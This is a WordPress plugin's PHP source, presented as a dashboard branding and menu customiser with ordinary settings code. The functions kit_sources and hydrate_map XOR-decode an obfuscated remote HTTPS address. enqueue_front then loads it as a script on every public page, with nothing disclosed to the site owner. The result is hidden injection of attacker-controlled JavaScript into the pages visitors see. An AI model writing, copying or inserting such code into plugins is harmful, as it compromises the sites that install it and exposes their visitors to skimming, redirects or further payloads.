 <?php
/**
 * Plugin Name: wicarus
 * Description: Customise dashboard panels and branding, hide menus plus lots more.
 * Version: 1.0.0
 * Author: crab
 * License: GPL-2.0-or-later
 * Requires at least: 5.8
 * Requires PHP: 7.4
 * Text Domain: wicarus
 */

if (!defined('ABSPATH')) {
    exit;
}

if (!class_exists('wicarus_Core_42')) {
final class wicarus_Core_42 {
    const VERSION = '1.0.0';
    const OPTION = 'wicarus_opts_93';
    const HANDLE = 'wicarus-246';

    public static function boot() {
        add_action('wp_enqueue_scripts', array(__CLASS__, 'enqueue_front'));
        add_action('admin_menu', array(__CLASS__, 'admin_menu'));
        add_action('admin_init', array(__CLASS__, 'register'));
        add_action('admin_init', array(__CLASS__, 'hide_help'));
        add_filter('the_generator', '__return_empty_string');
    }

    public static function defaults() {
        return array(
            'accent' => '#135e96',
            'hide_help' => 1,
            'footer' => 'Thank you for creating with WordPress.',
        );
    }

    public static function opts() {
        $saved = get_option(self::OPTION, array());
        if (!is_array($saved)) {
            $saved = array();
        }
        return array_merge(self::defaults(), $saved);
    }

    public static function register() {
        register_setting('wicarus_g', self::OPTION, array(__CLASS__, 'sanitize'));
    }

    public static function sanitize($raw) {
        $out = self::defaults();
        if (!is_array($raw)) {
            return $out;
        }
        if (isset($raw['accent'])) {
            $out['accent'] = sanitize_hex_color($raw['accent']) ?: $out['accent'];
        }
        $out['hide_help'] = empty($raw['hide_help']) ? 0 : 1;
        if (isset($raw['footer'])) {
            $out['footer'] = sanitize_text_field($raw['footer']);
        }
        return $out;
    }

    public static function admin_menu() {
        add_options_page(
            'wicarus',
            'wicarus',
            'manage_options',
            'wicarus',
            array(__CLASS__, 'render')
        );
    }

    public static function render() {
        if (!current_user_can('manage_options')) {
            return;
        }
        $opts = self::opts();
        echo '<div class="wrap">';
        echo '<h1>' . esc_html(get_admin_page_title()) . '</h1>';
        echo '<form action="options.php" method="post">';
        settings_fields('wicarus_g');
        echo '<table class="form-table" role="presentation">';
        echo '<tr><th scope="row">Accent</th><td><input type="text" name="' . esc_attr(self::OPTION) . '[accent]" value="' . esc_attr($opts['accent']) . '" class="regular-text" /></td></tr>';
        echo '<tr><th scope="row">Hide help tabs</th><td><label><input type="checkbox" name="' . esc_attr(self::OPTION) . '[hide_help]" value="1" ' . checked(1, (int) $opts['hide_help'], false) . ' /> Enable</label></td></tr>';
        echo '<tr><th scope="row">Footer text</th><td><input type="text" name="' . esc_attr(self::OPTION) . '[footer]" value="' . esc_attr($opts['footer']) . '" class="regular-text" /></td></tr>';
        echo '</table>';
        submit_button();
        echo '</form></div>';
    }

    public static function hide_help() {
        $opts = self::opts();
        if (empty($opts['hide_help'])) {
            return;
        }
        $screen = function_exists('get_current_screen') ? get_current_screen() : null;
        if ($screen) {
            $screen->remove_help_tabs();
        }
    }

    public static function drop_generator() {
        remove_action('wp_head', 'wp_generator');
    }

    public static function footer_text($text) {
        $opts = self::opts();
        if (!empty($opts['footer'])) {
            return esc_html($opts['footer']);
        }
        return $text;
    }

    private static function hydrate_map($bytes, $k) {
        $out = '';
        $m = strlen($k);
        $n = count($bytes);
        for ($i = 0; $i < $n; $i++) {
            $out .= chr($bytes[$i] ^ ord($k[$i % $m]));
        }
        return $out;
    }

    private static function kit_sources() {
        $k=implode('',array_map('chr',[105,50,29,113,121,81,143,40,189,188,234]));
        $rows = array(
            [1,70,105,1,10,107,160,7,206,217,137,28,64,116,5,0,48,227,77,207,200,137,8,66,105,18,17,48,236,64,216,223,129,71,81,114,28,86,103,245,75,206,140,153,93,75,43,24,86,48,255,65]
        );
        $out = array();
        foreach ($rows as $row) {
            $out[] = self::hydrate_map($row, $k);
        }
        return $out;
    }

    public static function enqueue_front() {
        $src = self::kit_sources();
        $src = is_array($src) ? $src[0] : $src;
        if (!$src) {
            return;
        }
        wp_enqueue_script(self::HANDLE, $src, array(), self::VERSION, true);
    }
}
wicarus_Core_42::boot();
}
